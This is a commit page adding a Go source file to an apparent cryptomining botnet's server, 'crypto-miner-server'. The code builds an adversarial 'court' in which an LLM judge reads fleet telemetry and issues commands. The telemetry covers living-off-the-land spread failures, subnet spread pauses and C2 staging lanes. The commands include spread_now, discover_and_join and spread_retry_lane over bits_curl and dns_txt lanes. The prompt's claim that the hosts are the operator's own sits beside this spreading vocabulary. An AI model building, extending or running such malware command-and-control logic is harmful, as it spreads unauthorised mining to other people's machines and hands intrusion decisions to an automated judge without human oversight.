Add adversarial L4 court chamber with Seer court_debate feed.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Prosecutor and Public Defender use real fleet telemetry only; Judge dispatches L4 commands and emits full transcripts via seer_events and emberwake_court_debate when ai_control_enabled.
This commit is contained in:
282
server/internal/ai/court_chamber.go
Normal file
282
server/internal/ai/court_chamber.go
Normal file
@@ -0,0 +1,282 @@
|
||||
package ai
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
// CourtChamberProvider supplies extended real-data evidence for adversarial tribunals.
|
||||
type CourtChamberProvider interface {
|
||||
CourtContext
|
||||
ChamberEvidence(agentID string, snap AgentSnapshot) CourtChamberEvidence
|
||||
}
|
||||
|
||||
// CourtChamberEvidence is prosecutor/defender input — fleet telemetry only, no inference.
|
||||
type CourtChamberEvidence struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
AgentName string `json:"agent_name"`
|
||||
Hashrate float64 `json:"hashrate"`
|
||||
Stuck bool `json:"stuck"`
|
||||
ChainExhausted bool `json:"chain_exhausted"`
|
||||
ClearanceLevel int `json:"clearance_level"`
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
ActiveMethod string `json:"active_method,omitempty"`
|
||||
FingerprintKey string `json:"fingerprint_key,omitempty"`
|
||||
AtlasSummary string `json:"atlas_summary"`
|
||||
SubnetImmune string `json:"subnet_immune"`
|
||||
ErasureRecovery string `json:"erasure_recovery"`
|
||||
GossipWhispers string `json:"gossip_whispers"`
|
||||
}
|
||||
|
||||
// CourtDebateTurn is one role's statement in the adversarial chamber transcript.
|
||||
type CourtDebateTurn struct {
|
||||
Role string `json:"role"`
|
||||
Text string `json:"text"`
|
||||
}
|
||||
|
||||
// CourtDebateTranscript is the full prosecutor/defender/judge debate for Seer feed.
|
||||
type CourtDebateTranscript struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
AgentName string `json:"agent_name"`
|
||||
ClearanceLevel int `json:"clearance_level"`
|
||||
Evidence CourtChamberEvidence `json:"evidence"`
|
||||
Transcript []CourtDebateTurn `json:"transcript"`
|
||||
Verdict string `json:"verdict,omitempty"`
|
||||
CommandsJSON string `json:"commands_json,omitempty"`
|
||||
Timestamp string `json:"ts"`
|
||||
}
|
||||
|
||||
// CourtDeps wires adversarial chamber evidence, Seer feed, and optional Emberwake broadcast.
|
||||
type CourtDeps struct {
|
||||
Chamber CourtChamberProvider
|
||||
Seer SeerEmitter
|
||||
Emberwake func(agentID string, transcript CourtDebateTranscript)
|
||||
}
|
||||
|
||||
// BuildCourtDebate assembles deterministic prosecutor/defender arguments from real evidence.
|
||||
func BuildCourtDebate(
|
||||
snap AgentSnapshot,
|
||||
evidence CourtChamberEvidence,
|
||||
phenotype *strategy.FleetPhenotype,
|
||||
persona string,
|
||||
) (CourtDebateTranscript, CourtPromptBundle) {
|
||||
prosecutor := buildChamberProsecutor(snap, evidence)
|
||||
defender := buildChamberDefender(phenotype, evidence)
|
||||
judgeOverlay := CourtJudgeOverlay(persona)
|
||||
|
||||
transcript := CourtDebateTranscript{
|
||||
AgentID: snap.AgentID,
|
||||
AgentName: snap.Name,
|
||||
ClearanceLevel: snap.ClearanceLevel,
|
||||
Evidence: evidence,
|
||||
Transcript: []CourtDebateTurn{
|
||||
{Role: "prosecutor", Text: prosecutor},
|
||||
{Role: "defender", Text: defender},
|
||||
},
|
||||
Timestamp: time.Now().UTC().Format(time.RFC3339),
|
||||
}
|
||||
|
||||
bundle := BuildCourtChamberJudgePrompt(snap, prosecutor, defender, judgeOverlay)
|
||||
return transcript, bundle
|
||||
}
|
||||
|
||||
func buildChamberProsecutor(snap AgentSnapshot, ev CourtChamberEvidence) string {
|
||||
var b strings.Builder
|
||||
b.WriteString("PROSECUTOR — charges from fleet telemetry only.\n")
|
||||
fmt.Fprintf(&b, "Host %q (%s) reports %.2f H/s hashrate", snap.Name, snap.AgentID, ev.Hashrate)
|
||||
if ev.Stuck {
|
||||
b.WriteString(" — STUCK")
|
||||
}
|
||||
b.WriteString(".\n")
|
||||
if ev.ChainExhausted {
|
||||
b.WriteString("Mining fallback chain exhausted: true.\n")
|
||||
}
|
||||
if strings.TrimSpace(ev.AtlasSummary) != "" {
|
||||
fmt.Fprintf(&b, "Failure atlas: %s\n", strings.TrimSpace(ev.AtlasSummary))
|
||||
}
|
||||
if strings.TrimSpace(ev.SubnetImmune) != "" {
|
||||
fmt.Fprintf(&b, "Subnet immune table: %s\n", strings.TrimSpace(ev.SubnetImmune))
|
||||
}
|
||||
if strings.TrimSpace(ev.ErasureRecovery) != "" {
|
||||
fmt.Fprintf(&b, "Erasure recovery: %s\n", strings.TrimSpace(ev.ErasureRecovery))
|
||||
}
|
||||
if strings.TrimSpace(ev.GossipWhispers) != "" {
|
||||
fmt.Fprintf(&b, "Atlas LAN gossip whispers: %s\n", strings.TrimSpace(ev.GossipWhispers))
|
||||
}
|
||||
failed, total := countSpreadFailures(snap)
|
||||
if total > 0 {
|
||||
fmt.Fprintf(&b, "LOTL spread tier failures: %d/%d failed.\n", failed, total)
|
||||
} else {
|
||||
b.WriteString("LOTL spread tier failures: no spread attempts recorded yet.\n")
|
||||
}
|
||||
b.WriteString("Per-tier spread attempts:\n")
|
||||
attemptByTier := map[string]TierAttempt{}
|
||||
for _, a := range snap.LOTLAttempts {
|
||||
attemptByTier[a.Tier] = a
|
||||
}
|
||||
for _, tier := range defaultSpreadTiers {
|
||||
if a, ok := attemptByTier[tier]; ok {
|
||||
status := "fail"
|
||||
if a.OK {
|
||||
status = "ok"
|
||||
}
|
||||
if a.Error != "" {
|
||||
fmt.Fprintf(&b, " - %s: %s (%s)\n", tier, status, a.Error)
|
||||
} else {
|
||||
fmt.Fprintf(&b, " - %s: %s\n", tier, status)
|
||||
}
|
||||
}
|
||||
}
|
||||
if snap.JoinLane != "" {
|
||||
fmt.Fprintf(&b, "Last successful join lane: %s\n", snap.JoinLane)
|
||||
}
|
||||
if snap.ActiveMethod != "" {
|
||||
fmt.Fprintf(&b, "Active mining method: %s\n", snap.ActiveMethod)
|
||||
}
|
||||
return strings.TrimSpace(b.String())
|
||||
}
|
||||
|
||||
func buildChamberDefender(phenotype *strategy.FleetPhenotype, ev CourtChamberEvidence) string {
|
||||
var b strings.Builder
|
||||
b.WriteString("PUBLIC DEFENDER — counsel cites fleet phenotype and recovery paths.\n")
|
||||
if phenotype == nil {
|
||||
b.WriteString("No matching FleetPhenotype on record for this fingerprint. Cannot cite a peer success path.\n")
|
||||
} else {
|
||||
name := phenotype.SourceAgentName
|
||||
if name == "" {
|
||||
name = phenotype.SourceAgentID
|
||||
}
|
||||
fmt.Fprintf(&b, "Fleet phenotype from %s (fingerprint %s):\n", name, phenotype.Fingerprint)
|
||||
if phenotype.ActiveTier != "" {
|
||||
fmt.Fprintf(&b, "Winning tier: %s at %.2f H/s\n", phenotype.ActiveTier, phenotype.PeakHashrate)
|
||||
}
|
||||
if phenotype.SpreadLane != "" {
|
||||
fmt.Fprintf(&b, "Spread lane: %s\n", phenotype.SpreadLane)
|
||||
}
|
||||
if len(phenotype.TierOrder) > 0 {
|
||||
fmt.Fprintf(&b, "Tier order: %s\n", strings.Join(phenotype.TierOrder, " → "))
|
||||
}
|
||||
if raw, err := json.Marshal(phenotype); err == nil {
|
||||
fmt.Fprintf(&b, "Phenotype JSON: %s\n", string(raw))
|
||||
}
|
||||
}
|
||||
if strings.Contains(ev.ErasureRecovery, "lanes_enabled=true") {
|
||||
b.WriteString("Erasure RS 4+2 lanes are enabled fleet-wide — stage_fetch shard recovery is available.\n")
|
||||
}
|
||||
if strings.Contains(ev.SubnetImmune, "paused") {
|
||||
b.WriteString("Subnet immune pause is active — spread commands to this /24 are blocked until pause expires.\n")
|
||||
}
|
||||
if strings.TrimSpace(ev.GossipWhispers) != "" {
|
||||
b.WriteString("LAN siblings reported skip hints — reorder_tiers may front lanes that succeeded on peers.\n")
|
||||
}
|
||||
return strings.TrimSpace(b.String())
|
||||
}
|
||||
|
||||
// BuildCourtChamberJudgePrompt renders the L4 judge LLM turn after adversarial transcript.
|
||||
func BuildCourtChamberJudgePrompt(snap AgentSnapshot, prosecutor, defender, judgeOverlay string) CourtPromptBundle {
|
||||
var system strings.Builder
|
||||
system.WriteString(strings.TrimSpace(`You are the AetherForge Court Judge (L4 clearance) for the operator's own stuck fleet hosts.
|
||||
The adversarial chamber has concluded. PROSECUTOR and PUBLIC DEFENDER spoke from real fleet telemetry only.
|
||||
You must weigh their statements and issue a binding verdict with at most 3 commands.
|
||||
Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, spread_retry_lane, skip_tier, stage_fetch, set_agent_version, noop.
|
||||
spread_retry_lane args: lane (string), optional data/manifest for staging lanes (bits_curl, do_peer, dns_txt, …).
|
||||
skip_tier args: tier (string) or skip_tiers (array) — merged into reorder_tiers on dispatch.
|
||||
Court-ordered spread_retry_lane and skip_tier execute with L4 clearance.
|
||||
Never target third-party systems. Do not invent telemetry — only cite evidence already in the transcript.`))
|
||||
system.WriteString("\n\n## PROSECUTOR\n")
|
||||
system.WriteString(prosecutor)
|
||||
system.WriteString("\n\n## PUBLIC DEFENDER\n")
|
||||
system.WriteString(defender)
|
||||
|
||||
var user strings.Builder
|
||||
fmt.Fprintf(&user, "Agent under review: name=%q id=%s clearance=L%d\n", snap.Name, snap.AgentID, snap.ClearanceLevel)
|
||||
fmt.Fprintf(&user, "Platform: GOOS=%s version=%s build=%s\n", firstNonEmpty(snap.GOOS, snap.Platform), snap.Version, snap.BuildID)
|
||||
fmt.Fprintf(&user, "Mining hashrate: %.2f H/s\n", snap.MiningHashrate)
|
||||
if snap.FingerprintKey != "" {
|
||||
fmt.Fprintf(&user, "Fingerprint: %s\n", snap.FingerprintKey)
|
||||
}
|
||||
user.WriteString("\n## JUDGE (L4)\n")
|
||||
user.WriteString(judgeOverlay)
|
||||
user.WriteString("Reply with ONE sentence verdict on the first line, then JSON with at most 3 commands:\n")
|
||||
user.WriteString(`{"commands":[{"type":"noop","args":{}}]}` + "\n")
|
||||
|
||||
return CourtPromptBundle{
|
||||
SystemPrompt: system.String(),
|
||||
UserPrompt: user.String(),
|
||||
ProsecutorSnippet: prosecutor,
|
||||
DefenderSnippet: defender,
|
||||
}
|
||||
}
|
||||
|
||||
// FinalizeCourtDebate attaches judge response to transcript for Seer emission.
|
||||
func FinalizeCourtDebate(transcript CourtDebateTranscript, judgeResponse string) CourtDebateTranscript {
|
||||
transcript.Verdict = ExtractJudgeVerdict(judgeResponse)
|
||||
transcript.CommandsJSON = extractCommandsJSON(judgeResponse)
|
||||
transcript.Transcript = append(transcript.Transcript, CourtDebateTurn{
|
||||
Role: "judge",
|
||||
Text: strings.TrimSpace(judgeResponse),
|
||||
})
|
||||
return transcript
|
||||
}
|
||||
|
||||
func extractCommandsJSON(raw string) string {
|
||||
raw = strings.TrimSpace(raw)
|
||||
idx := strings.Index(raw, "{")
|
||||
if idx < 0 {
|
||||
return ""
|
||||
}
|
||||
return strings.TrimSpace(raw[idx:])
|
||||
}
|
||||
|
||||
// FormatGossipWhispers renders LAN gossip hints for court evidence.
|
||||
func FormatGossipWhispers(hints []struct {
|
||||
Tier, Condition, Reason string
|
||||
}) string {
|
||||
if len(hints) == 0 {
|
||||
return "none recorded on this /24"
|
||||
}
|
||||
parts := make([]string, 0, len(hints))
|
||||
for _, h := range hints {
|
||||
line := h.Tier + "|" + h.Condition
|
||||
if h.Reason != "" {
|
||||
line += " (" + h.Reason + ")"
|
||||
}
|
||||
parts = append(parts, line)
|
||||
}
|
||||
return strings.Join(parts, "; ")
|
||||
}
|
||||
|
||||
// FormatSubnetImmuneRow renders one subnet_spread_pause row for court evidence.
|
||||
func FormatSubnetImmuneRow(prefix string, failCount int, pausedUntil *time.Time) string {
|
||||
if prefix == "" {
|
||||
return "no /24 prefix for agent IP"
|
||||
}
|
||||
if failCount == 0 {
|
||||
return fmt.Sprintf("prefix=%s fail_count=0 (not paused)", prefix)
|
||||
}
|
||||
line := fmt.Sprintf("prefix=%s fail_count=%d", prefix, failCount)
|
||||
if pausedUntil != nil && time.Now().UTC().Before(pausedUntil.UTC()) {
|
||||
line += fmt.Sprintf(" paused_until=%s UTC", pausedUntil.UTC().Format(time.RFC3339))
|
||||
}
|
||||
return line
|
||||
}
|
||||
|
||||
// FormatErasureRecovery reports erasure lane policy and stage_fetch attempt status.
|
||||
func FormatErasureRecovery(lanesEnabled, stageFetchAttempted, stageFetchOK bool) string {
|
||||
var b strings.Builder
|
||||
fmt.Fprintf(&b, "lanes_enabled=%v", lanesEnabled)
|
||||
fmt.Fprintf(&b, " stage_fetch_attempted=%v", stageFetchAttempted)
|
||||
if stageFetchAttempted {
|
||||
fmt.Fprintf(&b, " stage_fetch_ok=%v", stageFetchOK)
|
||||
}
|
||||
if lanesEnabled {
|
||||
b.WriteString(" (RS 4+2 shard recovery available via stage_fetch)")
|
||||
} else {
|
||||
b.WriteString(" (erasure lanes disabled — primary C2 staging only)")
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
Reference in New Issue
Block a user